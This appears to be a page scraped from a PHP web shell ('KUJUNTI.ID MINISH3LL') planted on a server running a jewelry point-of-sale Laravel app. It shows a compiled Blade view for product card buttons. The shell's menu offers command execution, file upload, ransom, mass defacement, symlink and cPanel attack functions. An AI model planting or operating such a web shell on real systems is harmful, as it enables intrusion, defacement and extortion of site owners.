KUJUNTI.ID MINISH3LL
Path : /var/www/html/jewelry-pos/storage/framework/views/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/jewelry-pos/storage/framework/views/caf7762fec83ee75fbd41a2bceafb983.php


<div class="card-footer text-right">
    <?php if($product->is_active == 1): ?>





        <?php if (app(\Illuminate\Contracts\Auth\Access\Gate::class)->check('product-edit')): ?>
            <a class="btn btn-sm btn-success" href="<?php echo e(route('product-qty-history.create')); ?>?type=+&product_qty_id=<?php echo e($product->id); ?>">+</a>
            <?php if($product->qty > 0): ?>
                <a class="btn btn-sm btn-success" href="<?php echo e(route('product-qty-history.create')); ?>?type=-&product_qty_id=<?php echo e($product->id); ?>">-</a>
            <?php endif; ?>
        <?php endif; ?>
       <?php if($product->qty > 0): ?>
                <?php if (app(\Illuminate\Contracts\Auth\Access\Gate::class)->check('product-edit')): ?>
                    <a class="btn btn-sm  btn-info"
                       href="<?php echo e(route('products.show' , $product->id)); ?>?q=<?php echo e($q); ?>&paginate=<?php echo e($paginate); ?>&for_sale=<?php echo e($for_sale); ?>&category=<?php echo e($cate??''); ?>">
                        <i class="fal fa-print" title="<?php echo e(__('message.show')); ?>"></i></a>
                    <a class="btn btn-sm  btn-info"
                       href="<?php echo e(route('products.edit', $product->id)); ?>?for_sale=<?php echo e($for_sale??1); ?>">
                        <i class="fal fa-pen" title="<?php echo e(__('message.edit')); ?>"></i></a>
                <?php endif; ?>

                <?php if (app(\Illuminate\Contracts\Auth\Access\Gate::class)->check('product-edit')): ?>
                    <a class="btn btn-sm btn-info" href="<?php echo e(route('product-qty-history.index')); ?>?product_id=<?php echo e($product->id); ?>">
                        <?php echo e(__('message.transaction')); ?>

                    </a>
                <?php endif; ?>
                <?php if (app(\Illuminate\Contracts\Auth\Access\Gate::class)->check('product-delete')): ?>
                    <a  href="<?php echo e(route('product.inactive', $product->id)); ?>"
                        class="btn  btn-sm btn-danger"
                        title="Inactive Now"><?php echo e(__('message.deactivate')); ?></a>
                <?php endif; ?>
                <?php if (app(\Illuminate\Contracts\Auth\Access\Gate::class)->check('product-delete')): ?>
                    <?php if($product->for_sale != 0): ?>
                            <form method="POST" action="<?php echo e(route('products.destroy' , $product->id)); ?>" style="display:inline">
                                <input name="_method" type="hidden" value="DELETE">
                                <?php echo e(csrf_field()); ?>

                                <button type="submit" class="btn btn-sm btn-danger"
                                        onclick="return confirm('<?php echo e(__('message.do you want to delete')); ?>?')">
                                    <i class="fal fa-trash" style="color: #FFF;"></i>
                                </button>
                            </form>
                    <?php endif; ?>

                <?php endif; ?>
       <?php endif; ?>
    <?php else: ?>
        <a href="<?php echo e(route('product.active', $product->id)); ?>"
            class="btn btn-sm btn-success" title="Active Now">
            <?php echo e(__('message.activate')); ?>

        </a>

    <?php endif; ?>
</div>
<?php /**PATH /var/www/html/jewelry-pos/resources/views/products/card-footer.blade.php ENDPATH**/ ?>

© KUJUNTI.ID